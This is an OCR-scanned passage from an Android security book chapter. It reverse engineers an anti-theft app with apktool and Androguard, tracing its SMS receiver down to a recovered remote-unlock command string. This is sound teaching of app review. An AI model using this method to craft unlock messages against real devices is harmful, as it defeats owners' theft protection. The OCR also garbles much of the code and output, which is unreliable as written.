Mobile Rescue is part of your mobile insurance with Virgin Media. As soon as you activate it (155) 
on your phone, you're covered against loss or theft UPOA 
Apri 23, 2013 
With Mobile Rescue, you can.. URREN RSION 
3.0 
* Back up your mobile address book and transfer your contacts to a new or replacement REQUIRES ANDRO: 
phone 2.2 and up 
SATEGOR 
+ Lock your phone from your computer if it's missing or stolen. Once it's locked, it can't be Tools 


used without you unlocking it, even if the SIM is changed, INSTALLS: 
400,000 - 500,000 


* Track down your lost phone by setting off an alarm and checking where it is on a map MV 
+ |f your phone's lost or stolen, first lock it with Mobile Resque and then call Virgin Media and 

they'll block the SIM card for you, That way, no one can put your SIM in another phone and 

use it to make calls. lent 30 days 


Keywords: virgin mobile, phone locator, phone locate, anti virus protection, antivirus for 
android, antivirus free, phone lock, free security apps, security lock, security alarm, malware 
protection, block calls, block numbers, block text messages, block sms messages, block 
sms and calls, call blocker, remote lock, lookout mobile security, phvacy guard, anti theft CONTENT RATING 
alarm, find phone, phone finder, Competing apps include: avg, lookout, netain, webroot, Low Maluay 
bitdefender, mcafee, eset, avast, trend micro, kaspersky 


Figure 4-3: Application description in Google Play 


When you examine this entry a bit more, you gather that it requests quite 
a few permissions. This application, if installed, would be rather privileged 
as far as third-party apps go. By clicking the Permissions tab in the Play 
interface, you can observe what permissions are being requested, as shown 
in Figure 4-4. 

Based on the description and some of the listed permissions, you can draw a 
few conclusions. For example, the description mentions remote locking, wiping, 
and audio alerting, which, when combined with the READ_SMS permission, 
could lead you to believe that SMS is used for out-of-band communications, 
which is common among mobile antivirus apps. Make a note that for later, 
because it means you might have some SMS receiver code to examine. 
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Permissions 


THIS APPLICATION HAS ACCESS TO THE FOLLOWING: 


SERVICES THAT COST YOU MONEY 


DIRECTLY CALL PHONE NUMBERS 

Allows the app to call phone numbers without your intervention. This may result in unexpected charges or calls. Note 
that this doesn't allow the app to call emergency numbers. Malicious apps may cost you money by making calls 
without your confirmation 

SEND SMS MESSAGES 

Allows the app to send SMS messages. This may result in unexpected charges. Malicious apps may cos! you 
money by sending messages withoul your confirmation 


HARDWARE CONTROLS 


TAKE PICTURES AND VIDEOS 
Allows the app to take pictures and Videos with the camera. This permission allows the app to use the camera at any 
time without your confirmation 


YOUR LOCATION 


PRECISE LOCATION (GPS AND NETWORK-BASED) 

Allows the app to get your precise location using the Global Positioning System (GPS) or network location sources 
such as cell towers and Wi-Fi. These location services must be tumed on and available to your device for the app to 
use them. Apps may use this to determine where you are, and may consume additional battery power 
APPROXIMATE LOCATION (NETWORK-BASED) 

Allows the app to get your approximate location. This location is derived by location services Using network location 
sources such as cell towers. and Wi-Fi. These location services must be tumad on and available to your device for 
the app to use them. Apps may use this to determine approximately where you are. 


YOUR MESSAGES 


RECEIVE TEXT MESSAGES (SMS) 
Allows the app to receive and process SMS messages. This means the app could monitor or delete messages sent 
to your device without showing them to you. 


Figure 4-4: Some of the permissions requested by the target app 


Static Analysis 


The static analysis phase involves analyzing code and data in the application 
(and supporting components) without directly executing the application. At the 
outset, this involves identifying interesting strings, such as hard-coded URIs, 
credentials, or keys. Following that, you perform additional analyses to con- 
struct call graphs, ascertain application logic and flow, and discover potential 
security issues. 

Although the Android SDK provides useful tools such as dex dump to disas- 
semble cl! asses. dex, you can find other bits of useful information in other files 
in the APK. Most of these files are in various formats, such as binary XML, and 
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might be difficult to read with common tools like gr ep. Using apktool, which 
canbe found athttps://code. google. com/p/android-apktool/, you can con- 
vert these resources into plaintext and also disassemble the Dalvik executable 
bytecode into an intermediate format known as smali (a format which you'll 
see more of later). 

Runapktool d with the APK file as a parameter to decode the APK’s contents 
and place the files in a directory named after the APK: 

~$ apktool d ygib-1.apk 
Baksmaling.. 
Loading resource table.. 


Decoding values */* XMLs.. 
Done. 
Copying assets and libs... 


Now you can gr ep for interesting strings like URLs in this application, which 
could help in understanding communications between this application and a 
web service. You also use gr ep to ignore any references to schemas. android 
. com, a common XML namespace string: 


~$ grep -Eir "https?://" ygib-1 | grep -v "Schemas. android. com' 
ygib-1l/smali/com/yougetitback/androidapplication/settings/xml/ 


Xml Operator. smal i 
const-string v2, "http://csl.ucc.ie/ ~yx2/upl oad/ upload. php" 


ygib-l/res/layout/ main. xml: xmins:ygib="http:// www. ywlx.net/apk/res/ 
com. yougetitback.androidapplication. cpw. mobile"> 
ygib-l/res/values/strings. xml: <string name="mustenteremail">Please enter 
a previous email address if you already have an account on 
https://virgin. yougetitback.com or a new email address 

if you wish to have a new account to control this device. </string> 
ygib-1l/res/values/strings. xml: <string name="serverUr| "> 
https://virgin. yougetitback. com</string> 
ygib-l/res/values/strings. xml: Please create an account on 
https://virgin. yougetitback.com 

before activating this device"</string> 

ygib-l/res/values/strings. xml: <string name="sShowsal ocation"> 
http://virgin. yougetit back. com/showSALocation?cellid=</string> 
ygib-1l/res/values/strings. xml: <string name="termsofuse'> 
https://virgin. yougetit back. com/terms_of_use</string> 
ygib-l/res/values/strings. xml: <string name="eul a" 
phttps://virgin. yougetit back. com/eul a</string> 
ygib-l/res/values/strings. xml: <string name="privacy"> 
https://virgin. yougetitback.com/privacy_policy</string> 
ygib-l/res/values/strings. xm 

<string name="registration_succeed text"> 

Account Registration Successful, you can now use the 


email address and password entered to log in to your personal vault on 
http://virgin. yougetitback. com</string> 
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ygib-l/res/values/strings. xml 

<string name="registrationerror5">ERROR: creating user account 
Please go to http://virgin. yougetitback.com/forgot_password 
where you can reset your password, alternatively enter a new 


email and password on this screen and we will create a new account for you. 
Thank You. </string> 
ygib-l/res/values/strings. xm: <string name="registrationsuccessful"> 


Congratulations you have sucessfully registered. 
You can now use this email and password provided to 
login to your personalised vault on http://virgin. yougetitback.com 


</string> 

ygib-1l/res/values/strings. xml: <string name="link_accessvault"> 
https: //virgin.yougetitback.com/vault</string> 
ygib-1/res/values/strings. xml: <string name="text_help"> 


Access your online vault, or change your password at &lt;a> 
https://virgin. yougetitback.com/forgot_password&lt;/a></string> 


Although apkt ool and common UNIX utilities help in a pinch, you need 
something a bit more powerful. In this case, call on the Python-based reverse 
engineering and analysis framework Androguard. Although Androguard includes 
utilities suited to specific tasks, this chapter focuses on the androl yze tool 
in interactive mode, which gives an [Python shell. For starters, just use the 
Anal yzeAPK method to create appropriate objects representing the APK and its 
resources; the Dex code itself; and also add an option to use the dad decompiler, 
so you can convert back to Java pseudo-source: 


~$ androlyze.py -s 
In [1]: a,d,dx = AnalyzeAPK("/home/ahh/ygib-1.apk",decompiler="dad") 


Next, gather some additional cursory information about the application, 
namely to confirm what you saw while profiling. This would include things 
such as which permissions the application uses, activities the user will most 
likely interact with, Services that the app runs, and other Intent receivers. Check 
out permissions first, by calling permissions: 

In [23]: a. permissions 

Out[ 23]: 

[' android. permission. CAMERA’ 


‘android. permission. CALL_PHONE' 
‘android. permission. PROCESS OUTGOING_CALLS' 


'androi 


d. permission. RECEIVE_SMS' 
'android. permission. ACCESS_GPS' 
'android. permission. SEND_SMS' 
'android. permission. READ_SMS' 
‘android. permission. WRITE_SMS' 


These permissions are in line with what you saw when viewing this app in 
Google Play. You can go a step further with Androguard and find out which 
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classes and methods in the application actually use these permissions, which 
might help you narrow your analysis to interesting components: 


In [28]: show Permissions(dx) 
ACCESS NETWORK _STATE 
1 Lcom/yougetitback/androidapplication/PingService;->deviceOnline()Z 
(0x22) -> Landroid/net/ConnectivityManager; - 
>get All Net workinfo()[Landroid/net/ Net workl nfo; 
1 Lcom/yougetitback/androidapplication/PingService;->wifiAvailable()Z 
(0x12) -> Landroid/net/ConnectivityManager; - 
>getActiveNetworki nfo()Landroid/net/ Net workl nfo; 
SEND_SMS 
1 Lcom/yougetitback/androidapplication/ActivateScreen; 
>sendActivationRequest Message(Landroid/content/ Context 
Ljava/lang/String;)V (0x2 -> Landroid/tel ephony/ Sms Manager; - 
>get Default()Landroid/telephony/ Sms Manager; 
1 Lcom/yougetitback/androidapplication/ActivateScreen 
->sendActivationRequest Message(Landroid/content/ Context 
NTERNET 
1 Lcom/yougetitback/androidapplication/ActivationAcknowl edgeService; - 
>doPost(Ljava/lang/String; Ljava/lang/String;)Z (0xe) 
---> Lj ava/net/URL;->openConnection()Ljava/net/URLConnecti on; 
1 Lcom/yougetitback/androidapplication/ConfirmPinScreen;->doPost( 
Lj ava/lang/String; Ljava/lang/String;)Z (0xe) 
---> Ljava/net/URL;->openConnection()Ljava/net/URLConnecti on; 


Although the output was verbose, this trimmed-down snippet shows a few 
interesting methods, such as the doPost method in the Conf i rmPi nScreen class, 
which must open a socket at some point as it exercises android. permission 
. | NTERNET. You can go ahead and disassemble this method to get a handle on 
what’s happening by calling s how on the target method in andr ol yze: 


In [38]: d. CLASS Lcom yougetitback androidapplication_ConfirmPinScreen. 
METHOD doPost.show 
Heeeeeete# Method Information 
Lcom/yougetitback/androidapplication/ConfirmPinScreen; 
>doPost(Ljava/lang/ String; 

Lj ava/lang/String;)Z [access flags=private] 

HeeeHeHHHE Params 


local registers: v0...v10 
vll:java.lang. String 
v12:java. lang. String 


return:boolean 
HHAHHHAAHHAARHHA AHHH 


RRA KKK KK KKK KKK KK KKK KKK KKK KKK ARK KA KK AK KA KK KKK KKK KK KKK KKK KKK KKK KKK KKK KK KEKE 


doPost-BB@0x0 


0 (00000000) const/4 v6, 0 

1 (00000002) const/4 v5, 1 [ doPost-BB@x4 ] 
doPost-BB@0x4 

2 (00000004) new-instance v3, Lj ava/net/ URL; 
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3 00000008) invoke-direct v3, v11, Ljava/net/URL;-><init> 
(Ljava/lang/String;)V 

4 0000000e) invoke-virtual v3, Lj ava/net/ URL; - 
>openConnecti on() 

Lj ava/net/URLConnecti on; 

5 00000014) move-result-obj ect v4 

6 00000016) check-cast v4, Lj ava/net/HttpURLConnection; 

7 0000001a) iput-objec v4, v10, Lcom yougetitback/ 
androidapplication/ConfirmPinScreen;->con Ljava/net/HttpURLConnection; 

8 0000001e) iget-objec v4, v10, Lcom yougetitback/ 
androidapplication/ConfirmPinScreen;->con Ljava/net/HttpURLConnection; 

9 00000022) const-string v7, 'POST' 

10 (00000026) invoke-virtual v4, v7, Lj ava/net/HttpURLConnec- 
tion; 

->set Request Method(Ljava/lang/String;)V 

11 (0000002c) iget- objec v4, v10, Lcom/yougetitback/ 
androidapplication/ConfirmPinScreen;->con Lj ava/net/ HttpURLConnection; 

12 (00000030) const-string v7, ‘Content-type’ 

13 (00000034) const-string v8, ‘application/ 

x- www- form-url encoded' 

14 (00000038) invoke-virtual v4, v7, v8, Ljava/net/ 
HttpURLConnection;->setRequest Property(Ljava/lang/String; Ljava/lang/String; ) 
V 

15 (0000003e) iget-objec v4, v10, Lcom yougetitback/ 
androidapplication/ConfirmPinScreen;->con Ljava/net/HttpURLConnection; 

31 (00000084) const-string v7, 'User-Agent' 

32 (00000088) const-string v8, 'Android Client' 

49 (000000d4) i get- objec v4, v10, Lcom/yougetitback/ 
androidapplication/ConfirmPinScreen;->con Lj ava/net/HttpURLConnecti on; 

50 (000000d8) const/4 v7, 1 

51 (000000da) invoke-virtual v4, v7, Ljava/net/ 

Htt pURLConnection; 
- >set Dol nput(Z)V 

52 (000000e0) iget-objec v4, v10, Lcom yougetitback/ 
androidapplication/ConfirmPinScreen;->con Ljava/net/HttpURLConnection; 

53 (000000e4) invoke-virtual v4, Ljava/net/HttpURLConnection; 
->connect()V 


First you see some basic information about how the Dalvik VM should handle 
allocation of objects for this method, along with some identifiers for the method 
itself. In the actual disassembly that follows, instantiation of objects such as 
java.net. HttpURLConnection and invocation of that object’s connect method 
confirm the use of the | NTERNET permission. 

You can get a more readable version of this method by decompiling it, which 
returns output that effectively resembles Java source, by callings our ce on that 
same target method: 


In [39]: d. CLASS Lcom yougetitback_androidapplication_ConfirmPinScreen. 

METHOD doPost.source() 

private boolean doPost(String p11, 
{ 


String p12) 
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this.con = new java.net. URL(p1l1l).openConnection(); 
this.con.setRequest Method("POST"); 
this.con.setRequestProperty("Content-type" 
"application/x-www-form-urlencoded"); 
this.con.setRequestProperty("Content-Length", new 
StringBuilder().append(pl2.length()).toString()); 
this.con.setRequestProperty("Connection", "keep-alive"); 
his.con,setRequestProperty("User-Agent", "Android Client"); 
his.con.setRequestProperty("accept", "*/*"); 
his.con.setRequestProperty("Http-version", "HTTP/1.1"); 
his.con,setRequestProperty("Content-languages", "en-EN"); 
his. con. set DoOut put(1); 
his. con. set Dol nput(1); 
this.con.connect(); 
v2 = this.con. get OutputStream ) 
v2. write(pl2.getBytes("UTF8")); 
v2. flush(); 
android. util.Log.d("YGIB Test", new 
StringBuilder("con. getResponseCode( ) — 
>"). append(this.con.getResponseCode()).toString()); 
android.util.Log.d("YGIB Test", new StringBuilder 
"url String-->").append(pll).toString()); 
android.util.Log.d("YGIB Test", new StringBuilder("content-->"). 


append(pl2).toString( 
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1 


kee Note that decompilation isn’t perfect, partly due to differences between the 
Dalvik Virtual Machine and the Java Virtual Machine. Representation of control and 
data flow in each affect the conversion from Dalvik bytecode to Java pseudo-source. 


You see calls toandroi d. util. Log. d, a method which writes a message to 
the logger with the debug priority. In this case, the application appears to be 
logging details of the HTTP request, which could be an interesting information 
leak. You'll take a look at the log details in action a bit later. For now, see what 
IPC endpoints may exist in this application, starting with activities. For this, 


callget_activities: 


In [87]: a 
Out [87]: 


[ 1 


com 
com 
com 


com. 
com. 
com. 
com. 


.youg 
.youg 
.youg 
youg 


youg 
youg 
youg 


.get_activities() 


etitback. androidapplication. ReportSplashScreen' 
etitback. androidapplication. SecurityQuestionScreen' 
etitback. androidapplication. SplashScreen' 

etitback. androidapplication. MenuScreen' 

etitback. androidapplication.settings.setting.Setting', 
etitback. androidapplication. Modif yPinScreen' 

etitback. androidapplication. ConfirmPinScreen' 
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"com. yougetitback. androidapplication. EnterRegistrationCodeScreen' 


In [88]: 
Out [88]: 


a.get_main_activity() 
u'com. yougetitback. androidapplication. ActivateSplashScreen' 


Unsurprisingly, this app has numerous activities, including the Conf i r mPi nScreen 
you just analyzed. Next, check Services by calling get _services: 


In [113]: 


Out[ 113]: 


[ 1 


com. 
com. 


com 


com. 


com 


com. 


youget 
youget 


.youget 


youget 


.youget 
com 
com 
com. 
com. 


youget 
youget 
youget 
youget 


youget 


itback. 
itback. 
itback. 


itback. 
itback. 
itback. 
itback. 
itback. 
itback. 


itback. 


a. get_ services 


androi 
androi 
androi 


androi 
androi 
androi 
androi 
androi 
androi 


androi 


dapp 
dapp 
dapp 


dapp 
dapp 
dapp 
dapp 
dapp 
dapp 


dapp 


i cati 
i cati 
i cati 


i cati 
i cati 
i cati 
i cati 
icati 
i cati 


i cati 


on. 
on. 
on 


on. 
on 
on. 
on. 
on. 
on 


on. 


DeleteSmsService' 
FindLocationService' 


.PostLocationService' 


LockAcknowl edgeService' 


.ContactBackupService' 


ContactRestoreService' 
UnlockService' 
PingService' 


_UnlockAcknowl edgeService' 


wipe. MyService' 


Based on the naming convention of some of these Services (for example, 
Unl ockService and wi pe), they will most likely receive and process commands 
from other application components when certain events are trigged. Next, look 
at BroadcastReceivers in the app, using get_recei vers: 


In [115]: 


Out[ 115]: 


[ 1 


com. 
com. 
com. 
com. 
com. 


com 


com 


youget 
youget 
youget 
youget 
youget 


.youget 
com 
com 


youget 
youget 


.youget 
com. 
com. 
com. 
com. 


youget 
youget 
youget 
youget 


itback. 
itback. 
itback. 
itback. 
itback. 
itback. 
itback. 
itback. 
itback. 
itback. 
itback. 
itback. 
itback. 


androi 
androi 
androi 
androi 
androi 
androi 
androi 
androi 
androi 
androi 
androi 
androi 
androi 


a. get_receivers() 


dapp 
dapp 
dapp 
dapp 
dapp 
dapp 
dapp 
dapp 
dapp 
dapp 
dapp 
dapp 
dapp 


icati 
icati 
icati 
icati 
icati 
icati 
icati 
icati 
icati 
icati 
icati 
icati 
icati 


on. 
on. 
on. 
on. 
on. 
on. 
on. 
on. 
on. 
on. 
on. 
on. 
on. 


Settings. main. Entrance$MyAdmin' 
MyStartupIntentReceiver', 
SmsintentReceiver', 

|dleTi meout', 

PingTi meout', 

RestTimeout', 

SplashTi meout', 

EmergencyTi meout', 
OutgoingCallReceiver', 

| ncomi ngCal l Receiver’, 

| ncomi ngCal l Receiver’, 
NetworkStateChangedReceiver', 
C2DMReceiver'] 


Sure enough, you find a Broadcast Receiver that appears to be related to pro- 
cessing SMS messages, likely for out-of-band communications such as locking 
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and wiping the device. Because the application requests the READ_SMS permis- 
sion, and you see a curiously named Broadcast Receiver, Sms| nt ent Receiver, 
chances are good that the application’s manifest contains an Intent filter for the 
SMS_RECEI VED broadcast. You can view the contents of AndroidManifest. xml 
in androl yze with just a couple of lines of Python: 


In [77]: for e in x. getElementsByTagName("receiver"): 
print e.toxml () 


<receiver android: enabled="true" android:exported="true" android: name= 
"com. yougetitback. androidapplication.SmsIntentReceiver"> 
<intent-filter android: priority="999"> 

<action android: name="android. provider. Telephony. SMS_RECEI VED" > 
</action> 

</intent-filter> 

</receiver> 


Kee You can also dump the contents of AndroidManifest.xml with one com- 
mand using Androguard’sandroaxml. py. 


Among others, there’s ar eceiver XML element specifically for the 
com. yougetitback. androidapplication. SmsintentRecei ver class. This particu- 
lar receiver definition includes ani nt ent- filter XML element with an explicit 
android: priority element of 999, targeting the SMS_RECEI VED action from the 
android. provider. Telephony class. By specifying this priority attribute, the 
application ensures that it will get the SMS_RECEI VED broadcast first, and thus 
access to SMS messages before the default messaging application. 

Take a look at the methods available in Sms|ntent Receiver by calling 
get_methods on that class. Use a quick Python f or loop to iterate through each 
returned method, calling show_i nf o each time: 


In [178]: for meth in d. CLASS Lcom yougetitback_androidapplication_ 
SmsI ntentReceiver. get_methods() 

meth. show_i nf o( 
Heteeette#t Method Information 
Lcom/yougetitback/androidapplication/SmsintentReceiver;-><init>()V 
access flags=public constructor] 
Heteeeete# Method Information 
Lcom/yougetitback/androidapplication/Sms|ntent Receiver; - 
>foregroundUl(Landroid/content/Context;)V [access flags=private] 
Heteeeete#t Method Information 
Lcom/yougetitback/androidapplication/Smsintent Receiver; - 
>getAction(Ljava/lang/String;)Ljava/lang/String; [access flags=private] 
Heeeeetee# Method Information 
Lcom/yougetitback/androidapplication/Smsintent Receiver; - 
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>getMessagesFromintent(Landroid/content/Intent;) 
[Landroid/telephony/SmsMessage; [access flags=private] 
Lcom/yougetitback/androidapplication/SmsintentReceiver;- 
>processBackupMsg(Landroid/content/Context 

Ljava/util/Vector;)V [access flags=pri vate] 

Heeeeeete# Method Information 
Lcom/yougetitback/androidapplication/Smsintent Receiver;->onReceive 
(Landroid/content/Context; Landroid/content/Intent;)V [access flags=public] 


For Broadcast Receivers, the onRecei ve method serves as an entry point, so 
you can look for cross-references, or xrefs for short, from that method to get an 
idea of control flow. First create the xrefs with d. create xref and then call 
show xref on the object representing the onRecei ve method: 


n [206]: d.create xref() 


n [207]: d. CLASS Lcomyougetitback_androidapplication_ Smsintent Receiver. 
METHOD_onReceive. show xref 
Hetteeeeee XREF 

T: Lcom/yougetitback/androidapplication/Smsintent Receive 
isValidMessage (Ljava/lang/String; Landroid/content/Context;)Z 6c 
T: Lcom/yougetitback/androidapplication/Smsintent Receive 
processContent (Landroid/content/Context; Ljava/lang/String;)V 78 
T: Lceom/yougetitback/androidapplication/Smsintent Receive 
triggerAppLaunch (Landroid/content/Context; Landroid/telephony/Sms Message; ) 
V 9a 
T: Lcom/yougetitback/androidapplication/Smsintent Receive 
getMessagesFromintent (Landroid/content/I|ntent 
Landroid/telephony/SmsMessage; 2a 


T: Lcom/yougetitback/androidapplication/Smsintent Receiver; isPinLlock 
Ljava/lang/String; Landroid/content/Context;)Z 8a 
HeeHHH HHH RHEE ERE HEHE 


You see that onRecei ve calls a few other methods, including ones that appear 
to validate the SMS message and parse content. Decompile and investigate a 
few of these, starting with get MessageFroml ntent: 

In [213]: d. CLASS _Lcom_yougetitback_androidapplication_SmsIntent Receiver. 

METHOD get MessagesFromilntent. source() 


private android.telephony. SmsMessagel[ ] 
getMessagesFromilntent(android.content.Intent p9) 


{ 
v6 = 0; 
v0 = p9.getExtras(); 
if (v0 != 0) { 


v4 = v0. get("pdus") 
v5 = new android.telephony.SmsMessage[v4. length] 


v3 = 0; 
while (v3 < v4.length) { 
v5[v3] = android.telephony. SmsMessage.createFromPdu(v4[v3]); 


v3+t; 
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} 

vo = v5 
} 
return vô; 


} 


This is fairly typical code for extracting an SMS Protocol Data Unit (PDU) 
from an Intent. You see that the parameter p9 to this method contains the Intent 
object. v0 is populated with the result of p9. get Extras, which includes all the 
extra objects in the Intent. Next,v0. get ("pdus") is called to extract just the PDU 
byte array, which is placed in v4. The method then creates an Sms Message object 
from v4, assigns it to v5, and loops while populating members of v5. Finally, in 
what might seem like a strange approach (likely due to the decompilation pro- 
cess), v6 is also assigned as the S ms Mes sage object v5, and returned to the caller. 

Decompiling the onRecei ve method, you see that prior to calling 
get MessagesFroml ntent, a Shared Preferences file, SuperheroPrefsFile,is 
loaded. In this instance, the p8 object, representing the application’s Cont ext or 
state, has get SharedPref erences invoked. Thereafter, some additional methods 
are called to ensure that the SMS message is valid (i sVal i dMessage), and ulti- 
mately the content of the message is processed (process Cont ent), all of which 
seem to receive the p8 object as a parameter. It’s likely that SuperheroPrefsFile 
contains something relevant to the operations that follow, such as a key or PIN: 


In [3]: d. CLASS Lcom_yougetitback_androidapplication_Sms|ntent Receiver 
METHOD onReceive.source() 
public void onReceive(android.content. Context p8, 
android. content. Intent p9) 
{ 
p8.getSharedPreferences("SuperheroPrefsFile", 0); 
if (p9.getAction().equals(" 
android. provider. Telephony.SMS_ RECEIVED") != 0) { 
this.getMessagesFromlntent(p9); 
if (this != 0) { 
vl = 0; 
while (vl < this.length) { 
if (this{vl] != 0) { 
v2 = this[vl].getDisplayMessageBody(); 
if ((v2 != 0) && (v2. length() > 0)) { 
android. util. Log.i("MessageListener:", v2) 
this. isValidMessage(v2, p8); 
if (this == { 
this.isPinLock(v2, p8); 
if (this != 0) { 
this. triggerAppLaunch(p8, this[vl]); 
this. abortBroadcast(); 


} 

} else { 
this.processContent(p8, v2) 
this. abort Broadcast(); 


Supposing you want to construct a valid SMS message to be processed by 
this application, you'd probably want to take a look ati sVal i dMessage, which 
you see in the preceding code receives a string pulled from the SMS message 
via get Di spl ayMessageBody, along with the current app context. Decompiling 
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isValidMessage gives you a bit more insight into this app: 


private boolean isValidMessage(String pl2, a 


{ 
v5 = 
v0 = 


v4 = pl3.getString(1 


v7 = pl3.getString(1. 
vl = pl3.getString(1. 
v2 = pl3.getString(1. 


v6 = 


this. getAction(pl2 

if ((this.equals(v5 
((this.equals(v3) == && 
((this.equals(v0) == 


((this.equals(v8) = 
v10 = 0; 


} else { 

vl0 = 1; 
} 
return v10; 


} 


You see many calls to get St ri ng which, acting on the app’s current Context, 
retrieves the textual value for the given resource ID from the application's string 
table, such as those found in val ues/ strings. xml . Notice, however, that the 
resource IDs passed to get St ring appear a bit odd. This is an artifact of some 
decompilers’ type propagation issues, which you'll deal with momentarily. The 
previously described method is retrieving those strings from the strings table, 
comparing them to the string in p12. The method returns 1 if p12 is matched, and 
0 if itisn’t. Back inonRecei ve, the result of this then determines if i s Pi nLock is 


13. getString(1. 
13. getString(1. 


13. getString(1. 
v8 = pl3.getString(1. 


82104701918e+38 
821047222e+38) 


p 

p 

p .82104742483e+38 
v3 = pl3.getString(1. 

p 

p 

p 

p 


82104762765e+38 
82104783048e+38 
8210480333e+38) ; 
82104823612e+38 
82104864177e+38 


82104843895e+38 


== 0) && ((this. 


0) && ((this. equals(v7) 
((this.equals(v6) == 0) && ((this. equals(v2) 
0) && (this. equals(vl) 


equals(v4) == 0) && 


== 0) && 
== 0) && 


== 0))))))))) { 


called, or ifprocessContent is called. Take a look ati sPi nLock: 


In [173]: d. CLASS Lcom_yougetitback_androidapplication_SmsIntent Receiver. 


METHOD_isPinLock. source() 


private boolean isPinLock(String pô, 


android. content. Context p7) 


ndroid. content. Context 


0). getString 


{ 
v2 = 0; 
v0 = p7.getSharedPreferences("SuperheroPrefsFile" 
("pi n" NE 

if ((v0.compareTo("") != 0) && (p6.compareTo(v0) == 0)) { 
V2. = 1s 

} 

return v2: 
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A-ha! The Shared Preferences file rears its head again. This small method calls 
get String to get the value of the pin entry in SuperheroPrefsFile, and then 
compares that with p6, and returns whether the comparison was true or false. 
If the comparison was true, onReceive callstriggerAppLaunch. Decompiling 
that method may bring you closer to understanding this whole flow: 


private void triggerAppLaunch(android.content. Context p9, 
android.telephony.SmsMessage p10) 
{ 
this.currentContext = p9; 
v4 = p9.getSharedPreferences("SuperheroPrefsFile", 0); 
if (v4. getBoolean("Activated", 0) != 0) { 
vl = v4.edit(); 
vl. putBoolean("lockState", 1); 
vl. putBoolean("smspinlock", 1); 
vl. commit(); 
this. foregroundUl(p9) 
v0 = pl0. get Ori ginatingAddress(); 
v2 = new android.content.!ntent("com. yougetit back 
androidapplication. FOREGROUND") 
v2, setClass(p9, com yougetitback. androidapplication. 
FindLocati onServi ce) 
v2, putExtra("LockSmsOriginator", v0); 
p9.startService(v2) 
this.startSiren(p9) 
v3 = new android.content.Intent("com yougetitback. 
androidapplicationn. FOREGROUND") 
v3.setClass(this.currentContext, com yougetitback 
androidapplication. LockAcknowl edgeSer vi ce) 
this. currentContext.startService(v3) 


} 


Here, edits are made to Super heroPrefsFi l e, setting some Boolean values to 
keys indicating if the screen is locked, and if it was done so via SMS. Ultimately, 
new Intents are created to start the application’s Fi ndLocationService and 
LockAcknowl edgeSer vi ce services, both of which you saw earlier when listing 
services. You can forego analyzing these services, as you can make some edu- 
cated guesses about their purposes. You still have the issue of understanding 
the call to processContent back inonReceive: 


In [613]: f = d. CLASS Lcom_yougetitback_androidapplication_ 

SmsI ntentReceiver. METHOD processContent.source() 

private void processContent(android.content.Context pl6, String p17) 

{ 

v6 = p16.getString(1.82104701918e+38) 
vl = pl6.getString(1.821047222e+38) 
v5 = pl6.getString(1.82104742483e+38) 
v4 = pl6.getString(1.82104762765e+38) 
v8 = pl6.getString(1.82104783048e+38) 


Chapter 4= Reviewing Application Security 105 


vll = this.split(p17) 
v10 = vll.element At(0) 
if (pl6.getSharedPreferences("SuperheroPrefsFile" 


0).getBoolean("Activated", 0) == 0) { 
if (vl0.equals(v5) != 0) { 
this. processActivationMsg(pl6, v11); 
} 
} else { 
if ((vl0.equals(v6) == 0) && ((vl0.equals(v5) == 0) && 
((vl0.equals(v4) == 0) && ((vl0.equals(v8) == 0) && 
((vl0.equals(v7) == 0) && ((vl0.equals(v3) == 0) && 
(v1l0.equals(vl) == 0))))))) { 
v10. equal s(v2 
} 
if (vl0.equals(v6) == 0) { 
if (vl0.equals(v9) == 0) { 
if (vl0.equals(v5) == 0) { 
if (vl0.equals(v4) == 0) { 
if (vl0.equals(vl) == 0) { 
if (vl0.equals(v8) == 0) { 
if (vl0.equals(v7) == 0) { 
if (vl0.equals(v3) == 0) { 
if (vl0.equals(v2) != 0) { 
this. processDeactivateMsg(pl6, 
v11); 
} 
} else { 
this. processFindMsg(p16, v11) 
} 
} else { 
this. processResyncMsg(p1l6, v11) 
} 
} else { 


this. processUnLockMsg(p1l6, v11); 
} 


You see similar calls to get Stri ng as you did ini sVal i dMes sage, along with 
a series of i f statements which further test the content of the SMS body to 
determine what method(s) to call thereafter. Of particular interest is finding 
what's required to reach process UnLockMsg, which presumably unlocks the 
device. Before that, however, there’s some spl i t method that’s called on p17, 
the message body string: 

In [1017]: d. CLASS _Lcom_yougetitback_androidapplication_ 


SmsintentReceiver. METHOD split.source() 
java.util. Vector split(String p6) 


{ 
v3 = new java.util. Vector(); 
v2 = 0; 
do { 


vl = p6.indexOf(" ", v2); 
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if (vl < 0) { 
v0 = p6.substring(v2) 
} else { 
v0 = p6.substring(v2, vl); 
} 
v3. addEl ement (v0) 
v2 = (vl + 1); 
} while(vl != -1); 
return v3; 


} 


This fairly simple method takes the message and chops it up into a Vector 
(similar to an array), and returns that. Back inprocessCont ent , weeding through 
the nest of i f statements, it looks like whatever's in v8 is important. There’s still 
the trouble of the resource IDs, however. Try disassembling it to see if you have 
better luck: 


In [920]: d. CLASS Lcom_yougetitback_androidapplication_ 
SmsI ntentReceiver. METHOD _processContent. show( 


KEKKK KKK KKK KR KKK KKK KKK KR KKK RK KKK KKK KKK KKK KKK KKK KK RK KR KKK KEK KE KKK KKK KKK KEKE 


12 (00000036) const v13, 2131296282 
13 (0000003c) move-object/froml6 v0, v16 
14 (00000040) invoke-virtual v0, v13 


Landroid/content/Context;->getString(l)Ljava/lang/String; 
15 (00000046) move-result-object v4 


16 (00000048) const v13, 2131296283 
17 (0000004e) move-object/froml6 v0, v16 
18 (00000052) invoke-virtual v0, v13 


Landroid/content/Context;->getString(l)Ljava/lang/String; 
19 (00000058) move-result-object v8 


You have numeric resource IDs now. The integer 2131296283 corresponds to 
something going into your register of interest, v8. Of course, you still need to 
know what the actual textual value is for those resource IDs. To find these values, 
employ a bit more Python within andr ol yze by analyzing the APK’s resources: 

aobj = a.get_android_resources() 

resid = 2131296283 

pkg = aobj. packages. keys()[0] 

reskey = aobj.get_id(pkg,resid)[1] 

aobj.get_string(pkg,reskey) 


The Python code first creates an ARSCParser object, aobj, representing all the 
supporting resources for the APK, like strings, UI layouts, and so on. Next, resid 
holds the numeric resource ID you're interested in. Then, it fetches a list with the 
package name/identifier using a0bj . packages. keys, storing it in pkg. The textual 
resource key is then stored in reskey by calling aobj. get_id, passing inpkg and 
resid. Finally, the string value of reskey is resolved using aobj.get_string. 
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Ultimately, this snippet outputs the true string that process Content resolved— 
YGI B: U. For brevity’s sake, do this in one line as shown here: 


In [25]: aobj.get_string(aobj. packages. keys()[0],aobj.get_id(aobj 
packages. keys()[0], 2131296283) [1]) 


Out{ 25]: [u' YGIB_UNLOCK', u' YGIB:U' 


